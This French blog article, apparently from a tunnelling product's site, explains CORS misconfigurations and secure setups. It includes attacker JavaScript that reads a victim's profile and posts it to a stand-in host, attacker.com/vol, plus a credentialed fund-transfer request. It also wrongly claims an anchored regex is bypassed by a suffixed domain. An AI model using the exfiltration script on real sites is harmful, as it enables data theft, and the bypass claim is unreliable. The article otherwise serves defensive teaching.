CORS de Confusion : Comment une entête mal configurée peut compromettre votre sécurité

Cross-Origin Resource Sharing (CORS) est l’une de ces technologies que les développeurs implémentent souvent à la va-vite, en copiant des configurations depuis Stack Overflow juste pour faire disparaître cette erreur de navigateur agaçante. Mais que diriez-vous si je vous disais que votre solution rapide — cette entête Access-Control-Allow-Origin: * apparemment innocente — pourrait en réalité démanteler silencieusement toute votre architecture de sécurité ?
Dans ce guide complet, nous plongerons en profondeur dans les mauvaises configurations CORS, explorerons comment elles peuvent contourner totalement la Politique de même origine (Same-Origin Policy), et apprendrons comment implémenter CORS correctement sans transformer votre API en un buffet ouvert pour des acteurs malveillants.
Comprendre la Fondation : Qu’est-ce que CORS et pourquoi existe-t-il ?
Avant d’aborder les pièges de sécurité, établissons une base solide. CORS est un mécanisme de sécurité du navigateur qui permet aux serveurs de spécifier explicitement quels origines (domaines) sont autorisées à accéder à leurs ressources. Il est construit au-dessus de la Politique de même origine (SOP), qui est l’une des fonctionnalités de sécurité fondamentales du web.
La Politique de même origine empêche les scripts s’exécutant sur une origine d’accéder aux données d’une autre origine. Une origine est définie par la combinaison du protocole (http/https), du domaine (exemple.com) et du port (80, 443, etc.). Sans SOP, un site malveillant pourrait faire des requêtes authentifiées à votre API bancaire en utilisant vos cookies de session existants et voler vos données financières.
CORS fournit un moyen contrôlé de relâcher ces restrictions lorsque la communication inter-origines légitime est nécessaire. Lorsqu’un navigateur effectue une requête inter-origines, il inclut un en-tête Origin. Le serveur répond alors avec des en-têtes CORS qui indiquent au navigateur s’il doit autoriser la requête.
L’anatomie d’une requête CORS
Il existe deux types de requêtes CORS : les requêtes simples et les requêtes pré-vol.
Les requêtes simples sont faites directement et incluent : - les méthodes GET, HEAD ou POST - certains en-têtes (Accept, Accept-Language, Content-Language, Content-Type avec des valeurs spécifiques) - Content-Type de application/x-www-form-urlencoded, multipart/form-data ou text/plain
Les requêtes pré-vol sont plus complexes. Le navigateur envoie d’abord une requête OPTIONS pour vérifier si la requête réelle est sûre à envoyer. Cela se produit lorsque : - utilisation de méthodes comme PUT, DELETE ou PATCH - inclusion d’en-têtes personnalisés - utilisation d’un Content-Type autre que ceux autorisés pour les requêtes simples
Le serveur répond à cette pré-vol avec des en-têtes indiquant ce qui est autorisé :
- Access-Control-Allow-Origin : quels origines peuvent accéder à la ressource
- Access-Control-Allow-Methods : quelles méthodes HTTP sont permises
- Access-Control-Allow-Headers : quels en-têtes personnalisés peuvent être envoyés
- Access-Control-Allow-Credentials : si les identifiants (cookies, en-têtes d’autorisation) peuvent être inclus
La combinaison dangereuse : Origines avec joker (*) et identifiants
Voici où les choses deviennent périlleuses. Beaucoup de développeurs, face à des erreurs CORS, mettent en œuvre ce qui semble une solution simple :
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
Voici le fait critique : cette combinaison est en réalité interdite par la spécification CORS. Les navigateurs rejetteront les réponses qui incluent à la fois un origine joker et Access-Control-Allow-Credentials à true. C’est une mesure de sécurité délibérée.
Cependant, le vrai danger réside dans des implémentations bien intentionnées mais erronées qui tentent de contourner cette restriction. Beaucoup de développeurs mettent en œuvre une réflexion dynamique de l’origine — où le serveur reflète l’origine de la requête :
# CODE DANGEREUX - À NE PAS UTILISER
origin = request.headers.get('Origin')
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
Cette configuration est fonctionnellement équivalente à autoriser toutes les origines avec des identifiants, démolissant effectivement la protection de la Politique de même origine.
Scénarios d’attaque réels
Examinons comment un attaquant peut exploiter ces mauvaises configurations.
Scénario 1 : Exfiltration de données authentifiées
Imaginez que vous avez construit une API à api.votresociete.com avec une politique CORS permissive qui reflète n’importe quelle origine et autorise les identifiants. Votre API possède un point de terminaison /api/utilisateur/profil qui renvoie des informations sensibles de l’utilisateur.
Un attaquant crée un site malveillant à evil.com avec ce JavaScript :
fetch('https://api.votresociete.com/api/utilisateur/profil', {
method: 'GET',
credentials: 'include' // Inclut les cookies
})
.then(response => response.json())
.then(data => {
// Envoie les données volées au serveur de l'attaquant
fetch('https://attacker.com/vol', {
method: 'POST',
body: JSON.stringify(data)
});
});
Lorsqu’un utilisateur légitime visite evil.com tout en étant connecté à votre application, voici ce qui se passe :
- Le navigateur de la victime effectue une requête vers votre API
- Le navigateur inclut automatiquement les cookies d’authentification
- Votre serveur voit l’en-tête
Origin: https://evil.com - Votre politique CORS mal configurée reflète cette origine
- Votre serveur définit
Access-Control-Allow-Credentials: true - Le script malveillant peut lire la réponse
- L’attaquant exfiltre avec succès les données de l’utilisateur
La victime ne sait jamais que ses données ont été volées. L’attaque est silencieuse, invisible et dévastatrice.
Scénario 2 : Opérations modifiant l’état
Les mauvaises configurations CORS ne concernent pas seulement la lecture de données — elles peuvent permettre à des attaquants d’effectuer des actions au nom des utilisateurs. Considérez un point de terminaison /api/transferer-fonds :
fetch('https://api.banking-example.com/api/transferer-fonds', {
method: 'POST',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify({
destinataire: 'compte-attaquant',
montant: 10000
})
})
Avec une politique CORS permissive, un attaquant peut exécuter des actions authentifiées en utilisant les identifiants de la victime. Contrairement aux attaques CSRF traditionnelles (qui peuvent être atténuées avec des tokens CSRF), les mauvaises configurations CORS permettent à l’attaquant de lire les réponses, ce qui les rend beaucoup plus dangereuses.
Modèles courants de mauvaise configuration
Au-delà du problème évident du joker, plusieurs mauvaises configurations subtiles peuvent créer des vulnérabilités de sécurité.
Modèle 1 : Contournement par regex
Certains développeurs tentent de mettre en liste blanche des domaines avec des expressions régulières mais les implémentent incorrectement :
# CODE VULNÉRABLE
import re
allowed_pattern = r'^https://.*\.votresociete\.com$'
origin = request.headers.get('Origin')
if re.match(allowed_pattern, origin):
response.headers['Access-Control-Allow-Origin'] = origin
Un attaquant peut enregistrer un domaine comme votresociete.com.evil.com et contourner cette vérification car le motif regex ne fixe pas correctement la partie domaine.
Modèle 2 : Acceptation de l’origine null
Certaines implémentations autorisent l’origine null, ce qui semble inoffensif mais peut être exploité :
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
Les attaquants peuvent générer des requêtes avec une origine null en utilisant des iframes sandboxées ou des chaînes de redirection, leur permettant de contourner les vérifications d’origine.
Modèle 3 : Confiance aveugle aux sous-domaines
Faire confiance automatiquement à tous les sous-domaines peut être dangereux :
# CODE RISQUÉ
origin = request.headers.get('Origin')
if origin.endswith('.votresociete.com'):
response.headers['Access-Control-Allow-Origin'] = origin
Si un attaquant trouve une vulnérabilité XSS dans un sous-domaine (y compris des environnements de staging oubliés ou des sous-domaines de contenu généré par l’utilisateur), il peut l’utiliser pour attaquer votre API principale.
L’impact : Plus que du vol de données
Les mauvaises configurations CORS ont été exploitées dans des attaques réelles avec de graves conséquences. Des avis de sécurité récents ont mis en évidence des vulnérabilités dans diverses applications et frameworks où des configurations CORS faibles ont permis un accès non autorisé.
Les impacts incluent :
- Fuites de données : informations sensibles, données personnelles, secrets d’entreprise
- Prise de contrôle de comptes : les attaquants peuvent lire des tokens d’authentification ou des informations de session
- Transactions non autorisées : les applications financières sont particulièrement à risque
- Violations de conformité : GDPR, HIPAA, et autres réglementations exigent une protection adéquate des données
- Dommages à la réputation : les violations de sécurité érodent la confiance des clients
Des rapports CVE récents, y compris des vulnérabilités dans des frameworks comme Flask-CORS, montrent que même des bibliothèques populaires peuvent avoir des failles de sécurité liées à CORS nécessitant des correctifs.
Sécuriser votre configuration CORS : Bonnes pratiques
Maintenant que nous comprenons les risques, voyons comment implémenter CORS en toute sécurité.
1. Maintenir une liste blanche explicite
Ne jamais utiliser de jokers ou refléter dynamiquement les origines. Au lieu de cela, maintenez une liste blanche stricte :
ALLOWED_ORIGINS = [
'https://www.votresociete.com',
'https://app.votresociete.com',
'https://mobile.votresociete.com'
]
origin = request.headers.get('Origin')
if origin in ALLOWED_ORIGINS:
response.headers['Access-Control-Allow-Origin'] = origin
response.headers['Access-Control-Allow-Credentials'] = 'true'
else:
# Ne pas définir d'en-têtes CORS pour les origines non autorisées
pass
2. Utiliser une correspondance exacte
Évitez les expressions régulières sauf si absolument nécessaire. Si vous devez les utiliser, faites très attention :
import re
# Bon : correspondance exacte du domaine
allowed_pattern = r'^https://([a-z0-9-]+\.)?votresociete\.com$'
# Assurez-vous que le motif est bien ancré et testé
origin = request.headers.get('Origin')
if re.fullmatch(allowed_pattern, origin): # Utilisez fullmatch, pas match
response.headers['Access-Control-Allow-Origin'] = origin
3. Séparer API publique et privée
Si vous avez à la fois des ressources publiques (qui ne nécessitent pas d’authentification) et privées, utilisez des points de terminaison ou sous-domaines séparés :
- API publique :
public-api.votresociete.com— Peut utiliserAccess-Control-Allow-Origin: *sans credentials - API privée :
api.votresociete.com— Utilise une liste blanche stricte avec credentials
4. Mettre en œuvre une authentification appropriée
Ne vous fiez pas uniquement à CORS pour la sécurité. Implémentez une authentification et une autorisation robustes :
- Utilisez des tokens à courte durée de vie plutôt que des cookies de session longue durée
- Mettez en œuvre une protection CSRF appropriée pour les opérations modifiant l’état
- Validez et autorisez chaque requête côté serveur
- Envisagez l’utilisation de tokens JWT avec des claims appropriés
5. Auditez régulièrement votre configuration CORS
La sécurité n’est pas une configuration unique. Des audits réguliers doivent inclure :
- La revue de toutes les origines autorisées
- La vérification des domaines obsolètes ou inutilisés
- La test de la configuration CORS avec des outils de sécurité
- La surveillance des requêtes inter-origines suspectes
- La mise à jour des frameworks et bibliothèques
6. Utiliser des en-têtes de sécurité en complément
CORS fonctionne mieux dans une approche de sécurité en couches :
Content-Security-Policy: default-src 'self'
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Tester votre configuration CORS
Avant de déployer en production, testez minutieusement votre implémentation CORS :
Test manuel
Utilisez les outils de développement du navigateur ou curl :
curl -H "Origin: https://evil.com" \
-H "Access-Control-Request-Method: GET" \
-H "Access-Control-Request-Headers: Content-Type" \
-X OPTIONS \
https://api.votresociete.com/api/utilisateur/profil
Vérifiez les en-têtes de réponse. Une configuration sécurisée ne doit pas définir Access-Control-Allow-Origin pour des origines non autorisées.
Test automatisé
Les outils de test de sécurité peuvent aider à identifier les mauvaises configurations CORS. Plusieurs chercheurs en bug bounty ont signalé avoir trouvé des vulnérabilités CORS en 2025, soulignant que ces problèmes restent courants et précieux à détecter rapidement.
Envisager des programmes de bug bounty
Les mauvaises configurations CORS sont souvent découvertes via des programmes de bug bounty. Envisagez de mettre en place un programme de divulgation responsable pour identifier les problèmes avant que des acteurs malveillants ne le fassent.
Considérations spécifiques aux frameworks
Différents frameworks gèrent CORS différemment. Voici des configurations sécurisées pour des frameworks populaires :
Express.js (Node.js) :
const cors = require('cors');
const corsOptions = {
origin: ['https://www.votresociete.com', 'https://app.votresociete.com'],
credentials: true,
optionsSuccessStatus: 200
};
app.use(cors(corsOptions));
Django (Python) :
CORS_ALLOWED_ORIGINS = [
"https://www.votresociete.com",
"https://app.votresociete.com",
]
CORS_ALLOW_CREDENTIALS = True
Spring Boot (Java) :
@Configuration
public class CorsConfig {
@Bean
public WebMvcConfigurer corsConfigurer() {
return new WebMvcConfigurer() {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://www.votresociete.com")
.allowCredentials(true);
}
};
}
}
La voie à suivre : la sécurité par conception
Les mauvaises configurations CORS représentent un mélange parfait de commodité, complexité et conséquences. La pression pour “juste faire fonctionner” conduit souvent les développeurs à implémenter des politiques trop permissives sans comprendre pleinement les implications en matière de sécurité.
Les points clés à retenir :
- Ne jamais refléter dynamiquement les origines sans validation stricte contre une liste blanche explicite
- Comprendre que CORS n’est pas une fonctionnalité de sécurité — c’est une relaxation de la politique de sécurité par défaut du navigateur
- Mettre en œuvre une défense en profondeur : CORS n’est qu’une couche ; combinez-la avec une authentification, une autorisation et des en-têtes de sécurité appropriés
- Auditez et testez régulièrement votre configuration CORS dans le cadre de votre programme de sécurité
- Restez informé des vulnérabilités émergentes et des meilleures pratiques en matière de sécurité
Les mauvaises configurations CORS continuent d’être découvertes et exploitées dans les applications modernes. En comprenant les mécanismes sous-jacents et en suivant des pratiques d’implémentation sécurisées, vous pouvez tirer parti de la communication inter-origines sans compromettre la sécurité de vos utilisateurs.
Souvenez-vous : en sécurité, la commodité est souvent l’ennemi de la sécurité. Ces quelques lignes de code supplémentaires pour mettre en place une liste blanche appropriée peuvent sembler fastidieuses, mais elles constituent la barrière entre les données de vos utilisateurs et les attaquants potentiels. Ne laissez pas la confusion CORS ouvrir une brèche dans votre sécurité — configurez-la soigneusement, testez-la en profondeur et maintenez-la vigilante.
Avez-vous découvert des mauvaises configurations CORS lors de vos audits de sécurité ? La communauté de la sécurité continue de découvrir ces vulnérabilités via des programmes de bug bounty et des divulgations responsables. Restez vigilant, sécurisez vos configurations, et priorisez toujours la sécurité de vos utilisateurs.
Related InstaTunnel pages
Continue from this article into the most relevant product guides and workflows.
Related Topics
Keep building with InstaTunnel
Read the docs for implementation details or compare plans before you ship.